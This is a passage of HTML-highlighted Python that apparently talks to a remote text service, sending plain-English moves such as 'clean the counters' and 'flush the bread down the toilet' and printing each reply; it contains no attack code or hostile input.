&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;clean the counters&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;flush the bread down the toilet&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;get ready to sleep&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name 